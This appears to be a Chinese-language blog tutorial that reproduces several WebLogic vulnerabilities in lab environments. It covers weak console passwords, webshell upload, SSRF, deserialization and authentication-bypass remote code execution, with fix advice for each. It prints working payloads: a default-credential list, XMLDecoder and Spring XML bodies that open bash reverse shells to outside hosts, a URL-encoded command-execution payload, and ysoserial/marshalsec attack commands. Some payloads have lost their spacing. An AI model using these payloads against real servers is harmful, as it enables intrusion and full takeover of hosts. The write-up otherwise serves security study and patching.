干货 | 最全最详细的Weblogic漏洞总结(建议收藏)

简介: 干货 | 最全最详细的Weblogic漏洞总结(建议收藏)

Weblogic弱口令漏洞

漏洞描述

http://your-ip:7001/console 即可进入后台,由于管理员的疏忽,有可能会设置一些弱口令,攻击者可以通过常见的口令猜解进入后台,再通过后台getshell。

影响范围

全版本


复现环境

Vulhub中的weak_password环境


复现步骤

1、启动环境之后,访问后台地址http://your-ip:7001/console

640.png2、常见的弱口令组合

system:password
weblogic:weblogic
admin:secruity
joe:password
mary:password
system:sercurity
wlcsystem: wlcsystem
weblogic:Oracle@123

3、  本环境输入weblogic:Oracle@123即可登录后台

640.png

修复建议

建议加强密码强度


Weblogic任意文件上传CVE-2018-2894漏洞

漏洞描述

OracleFusion MiddlewareOracle融合中间件)是美国甲骨文(Oracle)公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。Oracle WebLogic Server是其中的一个适用于云环境和传统环境的应用服务器组件。 WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限。两个页面分别为/ws_utc/begin.do/ws_utc/config.do


影响范围

10.3.612.1.312.2.1.212.2.1.3


复现环境

Vulfocus中的CVE-2018-2894环境


复现步骤

1、 进入未经授权的上传界面:http://your-ip/ws_utc/config.do        

640.png

2、 通用下的当前工作目录路径设置为:

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

设置该目录的目的:将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的


3、 开始上传木马:点击安全

640.png

然后点击添加

640.png

这里我上传的是一个冰蝎的jsp木马,抓包,点击提交,为什么要抓包呢,因为包里面有一个时间戳,连接木马的时候要用上。

640.png

这个为时间戳,且已经上传成功

640.png

然后连接的路径为http://you-ip/ws_utc/css/config/keystore/[时间戳]_[文件名],打开冰蝎

640.png

修复建议

1.设置Config.do页面登录授权后访问;2.IPS等防御产品可以加入相应的特征;3.升级到官方最新版本


Weblogic-SSRF漏洞(CVE-2014-4210)漏洞

漏洞描述

SSRFServer-Side Request Forgery),服务端请求伪造,是一种由攻击者构造形成由服务端发起请求的一个漏洞,一般情况下,SSRF攻击的目标是从外部网络无法访问的内部系统。


影响范围

10.0.210.3.6


复现环境

Vulhub中的ssrf环境


复现步骤

1、  启动vulnhub中的weblogic中的ssrf环境,如图

640.png

2、  访问漏洞存在地址

http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp

640.png

3、  点击Search之后抓包

640.png

640.png4、  operator参数进行修改,观察现象探测结果

640.png

主机存活且端口存在,将返回404

640.png

不存在端口或ip地址

640.png

修复建议

1、如果业务不需要UDDI功能,就关闭这个功能。可以删除uddiexporer文件夹,可以可在/weblogicPath/server/lib/uddiexplorer.war解压后,注释掉上面的jsp再打包。

2.安装oracle的更新包。http://www.oracle.com/technetwork/topics/security/cpujul2014-1972956.html


XMLDecoder反序列化(CVE-2017-10271)漏洞


漏洞描述

Oracle Fusion MiddlewareOracle融合中间件)是美国甲骨文(Oracle)公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。Oracle WebLogic Server是其中的一个适用于云环境和传统环境的应用服务器组件。 WeblogicWLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。


影响范围

10.3.6.012.1.3.0.012.2.1.1.0


复现环境

VulfocusCVE-2017-10271环境


复现步骤

漏洞地址为

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

1、  访问漏洞地址,如果存在如下则可能存在漏洞

640.png

2、  对该漏洞页面进行抓包,修改请求方式为POST和请求字段Content-Type:text/xml,然后后添加如下poc

<soapenv:Envelopexmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header>
<work:WorkContextxmlns:work="http://bea.com/2004/06/soap/workarea/">
<javaversion="1.4.0" class="java.beans.XMLDecoder">
<voidclass="java.lang.ProcessBuilder">
<arrayclass="java.lang.String" length="3">
<voidindex="0">
<string>/bin/bash</string>
</void>
<voidindex="1">
<string>-c</string>
</void>
<voidindex="2">
<string>bash-i &gt;&amp; /dev/tcp/192.168.3.130/44440&gt;&amp;1</string>
</void>
</array>
<voidmethod="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

640.png

3、  然后可以发现我们vps监听到的4000端口已经接收到了shell

640.png4、  当然我们还可以直接利用工具一键去getshell

640.png

修复建议

前往Oracle官网下载10月份所提供的安全补丁http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html

升级过程可参考:http://blog.csdn.net/qqlifu/article/details/49423839

Weblogic未认证远程命令执行(CVE-2020-14882、CVE-2020-14883)漏洞

漏洞描述

Oracle 重要补丁更新 - 2020 10 公告Oracle 修复了长亭科技安全研究员 @Voidfyoo 提交的两个安全漏洞,CVE-2020-14882 CVE-2020-14883CVE-2020-14882 允许远程用户绕过管理员控制台组件中的身份验证,而 CVE-2020-14883 允许经过身份验证的用户在管理员控制台组件上执行任何命令。使用这两个漏洞的连锁,未经身份验证的远程攻击者可以通过 HTTP Oracle WebLogic 服务器上执行任意命令并完全控制主机。


影响版本

10.3.6.012.1.3.012.2.1.212.2.1.3


复现环境

Vulfocus上的CVE-2020-14882环境


复现步骤

1、启动环境来到http://vulfocus.fofa.so:63672/console/login/LoginForm.jsp发现需要登录密码进行登录

640.png

2、但是我们可以访问如下url来绕过验证进入到后台

http://vulfocus.fofa.so:63672/console/css/%252e%252e%252fconsole.portal

640.png

http://vulfocus.fofa.so:63672/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

640.png

3、  由于是通过未授权页面进入的后台,和正常登录的后台页面还是缺少部署等功能,所以想要达到命令执行的效果,这里要借助特殊的类来实现。


4、  利用方法一利用com.tangosol.coherence.mvel2.sh.ShellSession

此方法只能在 Weblogic12.2.1 及以上版本利用,因为 10.3.6 并不存在 com.tangosol.coherence.mvel2.sh.ShellSession 类。


回显的payload

/console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.reflect.Field%20field%20=%20adapter.getClass().getDeclaredField(%22connectionHandler%22);field.setAccessible(true);Object%20obj%20=%20field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%20req%20=%20(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(%22getServletRequest%22).invoke(obj);%20String%20cmd%20=%20req.getHeader(%22cmd%22);String[]%20cmds%20=%20System.getProperty(%22os.name%22).toLowerCase().contains(%22window%22)%20?%20new%20String[]{%22cmd.exe%22,%20%22/c%22,%20cmd}%20:%20new%20String[]{%22/bin/sh%22,%20%22-c%22,%20cmd};if(cmd%20!=%20null%20){%20String%20result%20=%20new%20java.util.Scanner(new%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(%22\\A%22).next();%20weblogic.servlet.internal.ServletResponseImpl%20res%20=%20(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(%22getResponse%22).invoke(req);res.getServletOutputStream().writeStream(new%20weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();}%20currentThread.interrupt();

640.png

5、  利用方法二利用com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

首先,我们需要构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上,这里是执行一个反弹shell的操作,如

http://example.com/rce.xml

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/ip/1234 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>

然后nc监听,然后执行一个get请求:

http://192.168.74.141:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com /rce.xml")

640.png

修复建议

1、及时下载官方补丁进行升级修复。下载地址如下:https://www.oracle.com/security-alerts/cpuoct2020.html

2、关闭后台/console/console.portal的访问权限。

3、修改后台默认地址。


Java反序列化漏洞(CVE-2018-2628)漏洞


漏洞描述

Oracle WebLogic Server是美国甲骨文(Oracle)公司的一款适用于云环境和传统环境的应用服务器,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。WLS Core是其中的一个核心组件。攻击者利用其他rmi绕过weblogic黑名单限制,然后在将加载的内容利用readObject解析,从而造成反序列化远程代码执行该漏洞,该漏洞主要由于T3服务触发,所有开放weblogic控制台7001端口,默认会开启T3服务,攻击者发送构造好的T3协议数据,就可以获取目标服务器的权限。


影响范围

10.3.6.012.1.3.012.2.1.212.2.1.3


复现环境

1、  Vulhub中的weblogic中的CVE-2018-2628环境
2、  ysoserial-cve-2018-2628,下载链接https://github.com/tdy218/ysoserial-cve-2018-2628/releases
3、  expolit.py脚本,下载链接https://www.exploit-db.com/exploits/44553

复现步骤

1、首先docker启动环境

2、在攻击机上使用ysoserial-cve-2018-2628工具,使用格式如下:

java -cp"ysoserial-0.1-cve-2018-2628-all.jar" ysoserial.exploit.JRMPListener[攻击机监听端口] jdk版本编号 "要执行的命令"  

  640.png

3、在攻击机上使用exploit.py,使用格式如下:

python2 exploit.py 靶机IP 端口(默认7001) ysoserial-0.1-cve-2018-2628-all.jar的位置 攻击机IP 攻击机监听端口 JRMPClient

640.png

4、  然后发现在靶机上发现命令执行成功

640.png

修复建议

1.及时更新补丁

2.禁用T3协议

3.禁止T3端口对外开放, 或者限制可访问T3端口的IP来源


WeblogicCVE-2020-2551漏洞


漏洞描述

OracleFusion MiddlewareOracle融合中间件)是美国甲骨文(Oracle)公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。WebLogic Server是其中的一个适用于云环境和传统环境的应用服务器组件。该漏洞原理上类似于RMI反序列化漏洞(CVE-2017-3241),和之前的T3协议所引发的一系列反序列化漏洞也很相似,都是由于调用远程对象的实现存在缺陷,导致序列化对象可以任意构造,并没有进行安全检查所导致的。


影响范围

WebLogic10.3.6.0.0WebLogic 12.1.3.0.0WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0

 

复现环境

Vulhub中的weblogic中的CVE-2017-10271


复现步骤

1、启动vulhub中的docker环境

2、下载复现脚本https://pan.baidu.com/s/1N9oW3PtJJpkGC-W-LkgW9A提取码:03vx

3、编译脚本里面的exp.java文件

javac exp.java -source 1.6 -target 1.6

640.png

4、启动一个http服务

python3 -m http.server 80

640.png

5、使用marshalsec起一个恶意的RMI服务

java -cpmarshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer"http://192.168.178.1/#exp" 7777

640.png

6漏洞攻击,成功弹出calc

java -jar weblogic_CVE_2020_2551.jar192.168.178.128 7001 rmi://192.168.178.1:7777/exp

640.png

修复建议

weblogic禁用IIOP协议或更新官方补丁



目录
相关文章
|
Web App开发 安全 Java
WebLogic Server 远程代码执行漏洞(CVE-2021-2109)
WebLogic Server 远程代码执行漏洞,攻击者可通过使用恶意Payload对目标服务器实施攻击并接管服务器获取执行权限。
443 1
|
安全 Java 应用服务中间件
WebLogic Server 远程代码执行漏洞(CVE-2023-21839/CNVD-2023-04389)
WebLogic Server 存在远程代码执行漏洞,攻击者通过特定Payload对目标服务器进行恶意利用从而获取服务器控制权限,进一步操作。
369 1
|
7月前
|
安全 Oracle 关系型数据库
Oracle WebLogic Server远程代码执行漏洞 CVE-2020-14750 已亲自复现_cve-2020-14750漏洞复现
Oracle WebLogic Server远程代码执行漏洞 CVE-2020-14750 已亲自复现_cve-2020-14750漏洞复现
H8
|
安全 网络协议 Java
跨语言的艺术:Weblogic 序列化漏洞和 IIOP 协议
Weblogic序列化漏洞主要依赖于T3和IIOP协议,在通信交互方面存在诸多问题,如跨语言、网络传输等,给漏洞检测和利用带来诸多不便。在WhiteHat Labs的理念中,漏洞检测和利用是一项创造性的工作,应该以最简洁高效的方式实现,以保证漏洞的跨平台性和实用性。因此,我们实现了跨语言的IIOP协议通信方案来解决序列化漏洞问题。
H8
308 12
|
XML 安全 Java
WebLogic EJBTaglibDescriptor XXE漏洞(CVE-2019-2888)
WebLogic EJBTaglibDescriptor 在反序列化的同时会进行XML解析,通过重写EJBTaglibDescriptor中的writeExternal函数生成恶意的序列化数据。
311 1
|
安全 NoSQL 前端开发
weblogic中间件漏洞总结(三)
weblogic中间件漏洞总结
561 10
weblogic中间件漏洞总结(三)
|
安全 Oracle Java
weblogic中间件漏洞总结(二)
weblogic中间件漏洞总结
308 8
weblogic中间件漏洞总结(二)
|
安全 Oracle Java
weblogic中间件漏洞总结(一)
weblogic中间件漏洞总结
223 7
weblogic中间件漏洞总结(一)
|
安全 NoSQL Shell
Weblogic ssrf漏洞复现---从0到1
利用Ubuntu16.04,安装docker,要以root身份执行
303 0
Weblogic ssrf漏洞复现---从0到1
|
XML 安全 Oracle
Weblogic IIOP协议反序列化(CVE-2020-2551)漏洞复现
Weblogic IIOP协议反序列化(CVE-2020-2551)漏洞复现
1352 0